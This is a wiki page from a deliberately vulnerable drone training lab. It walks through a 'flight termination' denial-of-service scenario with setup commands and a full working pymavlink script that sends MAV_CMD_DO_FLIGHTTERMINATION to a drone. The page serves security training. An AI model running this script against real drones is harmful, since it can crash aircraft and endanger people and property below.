Flight Termination - nicholasaleks/Damn-Vulnerable-Drone GitHub Wiki

Forcefully terminate the drone's flight.

Damn Vulnerable Drone > Attack Scenarios > Denial of Service > Flight Termination Attack

Description

The Flight Termination attack involves sending a MAVLink command to the drone instructing it to immediately halt its current operation. This typically results in an abrupt landing, loss of control, or crash. It exploits the MAV_CMD_DO_FLIGHTTERMINATION command available in most MAVLink-enabled autopilot stacks.

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⚠️ Solution Guide

Step 1. Setup

sudo apt-get update
sudo apt-get install python3 python3-pip
pip3 install pymavlink

Step 2. Create the Script

Save the following code as flight_termination.py:

from pymavlink import mavutil
import sys

def connect_drone(target_ip, target_port):
    master = mavutil.mavlink_connection(f'tcp:{target_ip}:{target_port}')
    master.wait_heartbeat()
    print("Connected to the drone.")
    return master

def execute_flight_termination(master):
    master.mav.command_long_send(
        master.target_system,
        master.target_component,
        mavutil.mavlink.MAV_CMD_DO_FLIGHTTERMINATION,
        0,
        1, 0, 0, 0, 0, 0, 0
    )
    print("Flight termination command sent.")

def main(target_ip, target_port):
    master = connect_drone(target_ip, target_port)
    execute_flight_termination(master)

    while True:
        msg = master.recv_match(blocking=True)
        if not msg:
            continue
        print(f"Received message: {msg}")
        if msg.get_type() == 'COMMAND_ACK':
            if msg.command == mavutil.mavlink.MAV_CMD_DO_FLIGHTTERMINATION:
                if msg.result == mavutil.mavlink.MAV_RESULT_ACCEPTED:
                    print("Flight termination command accepted.")
                else:
                    print(f"Flight termination failed: {msg.result}")
            break

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python flight_termination.py <target_ip:target_port>")
        sys.exit(1)

    target_ip, target_port = sys.argv[1].split(':')
    target_port = int(target_port)
    main(target_ip, target_port)

Step 3. Run the Script

sudo python3 flight_termination.py 10.13.0.3:5760

Replace the IP and port with your actual drone connection details.

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